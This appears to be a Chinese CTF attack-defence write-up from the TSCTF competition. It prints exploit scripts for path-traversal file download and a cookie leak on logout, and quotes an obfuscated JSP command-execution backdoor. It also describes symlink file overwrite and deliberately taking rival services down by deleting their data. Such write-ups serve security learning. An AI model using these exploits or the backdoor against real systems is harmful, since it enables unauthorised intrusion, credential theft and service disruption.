TSCTF
上周,去北邮那边参加了天枢CTF线下赛。整个过程中,打得还是蛮爽。我们在开场没多久就挖出了第一个洞,直接打全场,打了一个上午美滋滋。下午,打了一波有意思的down服务操作,直接每轮多获取640分数,非常的舒服。
唯一遗憾的就是,后面两个小时有些疲软,没找到web2的软连接漏洞,不能再搞一波事情。最后,拿了个第二名。
Web1
Web1是一个Java后台的站点,目录如下:
这个Web一共有四个洞,依次如下:
越权任意文件下载
这个洞,我们在拿到题目后没几分钟就挖到了,运气非常好。拿到源码后,搜索了一下flag,然后发现一个downloadFlag函数。然后,仔细看了一下,果然发现可以越权。接着,就直接打全场了😂
在DownloadController中,存在downloadFlag函数。
@Controller
@RequestMapping(value = "download")
public class DownloadController {
private static final String path = "/download";
@RequestMapping(value ="/files", method = RequestMethod.GET)
public void downloadFlag(HttpSession session, HttpServletRequest req, HttpServletResponse res, @RequestParam("file") String filename){
String downloadPath = this.getClass().getResource(path).getPath();
String filtered_filename = filename.replace("../","").replace("./", "");
String filePath = downloadPath + "/" + filtered_filename;
try {
res.setHeader("Content-disposition", "attachment;fileName=" + new String(filename.getBytes("GBK"), "ISO8859-1"));
res.setHeader("Content-type","application/pdf");
FileInputStream input = new FileInputStream(filePath);
OutputStream out = res.getOutputStream();
byte[] b = new byte[2048];
int len;
while ((len = input.read(b)) != -1) {
out.write(b, 0, len);
}
res.setHeader("Content-Length", String.valueOf(input.getChannel().size()));
input.close();
} catch (Exception ex) {
}
return;
}
}
这里的filename参数只做了一次replace,可以双重复写绕过,从而进行任意文件下载。
EXP如下:
def get_flag(host):
tmp = random_string(10)
register(host,tmp)
login(host,tmp)
paramsGet = {"file":".....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///flag/flag"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","DNT":"1"}
response = session.get(host+"/download/files", params=paramsGet, headers=headers)
print("Flag: %s" % response.content)
return response.content
登陆越权
代码如下:
@RequestMapping("/loginHtml.html")
public String loginHtml(HttpSession session,@ModelAttribute("message") String message) {
System.out.println("-->user/loginHtml.html");
Integer code = (Integer) session.getAttribute("first");
if(code!=null){
if (code == User.UNSUBMITTED) {
return "redirect:/profile/profileAdd.html";
} else if (code == User.ADMIN) {
return "redirect:/profile/export";
} else {
return "redirect:/profile/my";
}
}else {
session.setAttribute("message", message);
return "login";
}
}
登陆的时候,可以修改first值,修改到admin权限。first在user中定义,象征用户权限。
public String checkcode;
public String time;
public int first;
public String pdd;
public static final int UNSUBMITTED = 0;
public static final int SUBMITTED = 1;
public static final int ADMIN = 2;
自带后门
在error.jsp文件中,存在一个隐蔽的内置后门。
<%
String op="Got Nothing";
String query = request.getParameter("q");
String fileSeparator = String.valueOf(java.io.File.separatorChar);
Boolean isWin;
if(fileSeparator.equals("\\")){
isWin = true;
}else{
isWin = false;
}
if (query != null) {
ProcessBuilder pb;
if(isWin) {
pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
}else{
pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
}
Process process = pb.start();
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
}
%>
参考先知文章即可:https://xz.aliyun.com/t/2342
SPEL表达式注入
ProfileControllor类存在SPEL表达式注入
@RequestMapping("/myProfile")
public String myProfilePage(HttpSession session,@ModelAttribute("message") String message) {
Integer first = (Integer) session.getAttribute("first");
if(first!=null&&first==0){
session.setAttribute("message",Canstants.fillTheProfileFirst);
return "noProfile";
}else if(first==1){
Integer userid = (Integer) session.getAttribute("userId");
Profile profile = profileDao.findProfileByUserId(userid);
String template = profileView(profile);//这个函数存在spel注入
session.setAttribute("Template", template);
session.setAttribute("profile", profile);
session.setAttribute("message", message);
return "profile_view";
}else if(first==2){
return "excel";
}else {
session.setAttribute("message",Canstants.authFail);
return "error";
}
}
Web2
这是一个go语言web题。
主要有三块漏洞点:
越权泄漏flag
me页面,article的各种功能页面都会泄漏flag。
需要加一个登陆验证,类似这样:
if(this.Data["IsAdmin"])!=true{
this.Redirect("/login", 302)
}
在28088端口,管理员页面也会有一个flag,但是那个flag只会泄漏一轮。
exp如下:
def filter_flag(string):
p = re.compile(r'TSCTF{[0-9a-z\-]{32}}')
# p = re.compile(r'hctf\{.*\}')
r = p.findall(string)
print r
return r
def get_flag1(host="http://172.16.10.16:28088"):
paramsGet = {"command":"conf"}
headers = {"Cache-Control":"max-age=0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36","Referer":"http://172.16.10.16:28088/listconf?command=conf","Connection":"close","Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8"}
response = session.get(host+"/listconf", params=paramsGet, headers=headers)
# print("Status code: %i" % response.status_code)
# print("Response body: %s" % response.content)
return filter_flag(response.content)[0]
def get_flag2(host="http://172.16.10.16:28080"):
response = session.get(host+"/me/article/add")
# print("Status code: %i" % response.status_code)
# print("Response body: %s" % response.content)
return filter_flag(response.content)[0]
logout泄漏
func (this *LoginController) Logout() {
this.Ctx.ResponseWriter.Header().Add("Set-Cookie", "bb_name="+g.RootName+"; Max-Age=0; Path=/;")
this.Ctx.ResponseWriter.Header().Add("Set-Cookie", "bb_password="+g.RootPass+"; Max-Age=0; Path=/;")
this.Redirect("/", 302)
}
logout可以泄漏用户名和编码后的pass。
这里脚本获取cookie,用requests库好像不行,学弟用socket实现了下。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import socket
import ssl
import re
session = requests.session()
def get_header(host, port=28080, uri="/", method="GET", user_ssl=False):
_timeout = 10
socket.setdefaulttimeout(_timeout)
conn = None
header = """%s %s HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\r\n\r\n""" % (
method, uri, host)
if user_ssl:
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn = ssl_context.wrap_socket(_socket, server_hostname=host)
conn.connect((host, port))
conn.send(header)
else:
conn = socket.create_connection((host, port), _timeout)
conn.sendall(header)
text = ""
while True:
if "\r\n\r\n" in text:
break
buff = conn.recv(10)
text += buff
# print buff
conn.close()
return text.split("\r\n\r\n")[0]
def getCookie(ip):
s=get_header(ip, uri="/logout")
bb_name=re.findall(r'bb_name=(.*)',s)[0].split(';')[0]
bb_password=re.findall(r'bb_password=(.*)',s)[0].split(';')[0]
return {'bb_name':bb_name,'bb_password':bb_password}
得到cookie之后,就能登陆上admin,也就可以拿到flag了。
比赛过程中,我用admin权限,直接登陆上去,删了所有人的文章,把全场服务打down,还是很舒服。
软连接导致任意文件读+文件写
这个我在比赛中没发现,后面在5点多的时候才看到。因为我是用FTP工具拉的备份,导致软连接在下载过程中丢失了,所以一直没看到这个点。这个软连接的洞真的很骚。
upload软连接到了../../
。那么,我们就可以通过外部http访问直接访问到整个go语言目录,自然也可以访问flag目录。
比如:
- http://172.16.10.16:28080/static/uploads/gotsctf2018/flag可以获得flag
- http://172.16.10.16:28080/static/uploads/gotsctf2018/conf/app.conf 获得配置文件信息,配置文件中有账户和密码
此外,bee这个框架(或者go语言?可能是dev模式运行的原因。不是很懂)会自动动态加载已修改的文件。简单来说,虽然我们是编译出一个二进制文件开启web服务。但是,我们动态修改了go语言代码,它会自动加载并编译。(而单独利用这个特性,其实也可以通过文件上传,上传一个go语言后门)
那么,我们就可以通过上传功能覆盖任意go语言代码进行操作了。赛场上,haozi打了一个很骚的套路,可以学习一下。他直接往index网页写入一个<div style="display: none;">{ {.FlagData} }</div> </body>
,这样就可以持续窃取flag了。
打down服务
最后,讲一下这个比赛玩的很开心的点,打down服务(当然是合法地打down服务)。
这是线下赛很值得开拓的一个web思路。
在下午的时候,NeSE一度要赶超我们战队,差距很小。
而这个时候,我打了一波删文章,直接让场上所有的web2都挂了。由于我的web2服务没有挂掉,所有我光吃别人的down分就一轮有640。外加,我还能打别人。这样就能让对面,服务又down,还被打。
打了删文章后,我们一轮有887的得分,直接甩开了NeSE。
合理的打down别人服务还有一个好处就是让对面web手疲于修洞,就没办法好好挖洞。而我们就可以怀着窃喜的心态好好挖洞,继续积攒优势。
这里因为我首先是偷取了一波大家的账号密码(另外,我还有一个进程会动态更新别人的账号密码,保证账号密码为最新),再基于正常的账号密码打的攻击。所以,这个down服务大家一开始怎么也修不好。因为我在打down服务的过程中,基本没有用到漏洞。所以,选手们很难修这个服务。直至下午4点左右,才有第一个战队修复好了服务。而到比赛结束还有好几个战队没有修复好。他们要首先修复logout的漏洞,并同时修改自己的密码,再重新启动才能完全修复。
遗憾的就是,后期没有注意到软连接的洞,不然就爽歪歪了。后期,打得略疲软。
如果我能拿到软连接的洞,我会首先用文件读取,读取到flag并提交。然后用文件上传覆盖掉别人的flag。这样就能即保证别人的服务挂掉,还能保证别人的flag几乎只被我们战队获得。也就是,我们还能独享别人的flag分数。那么,这样一轮,我们光web2就可以获得1280分!!!说到这里,大家就能体会到打down别人服务的好处了吧!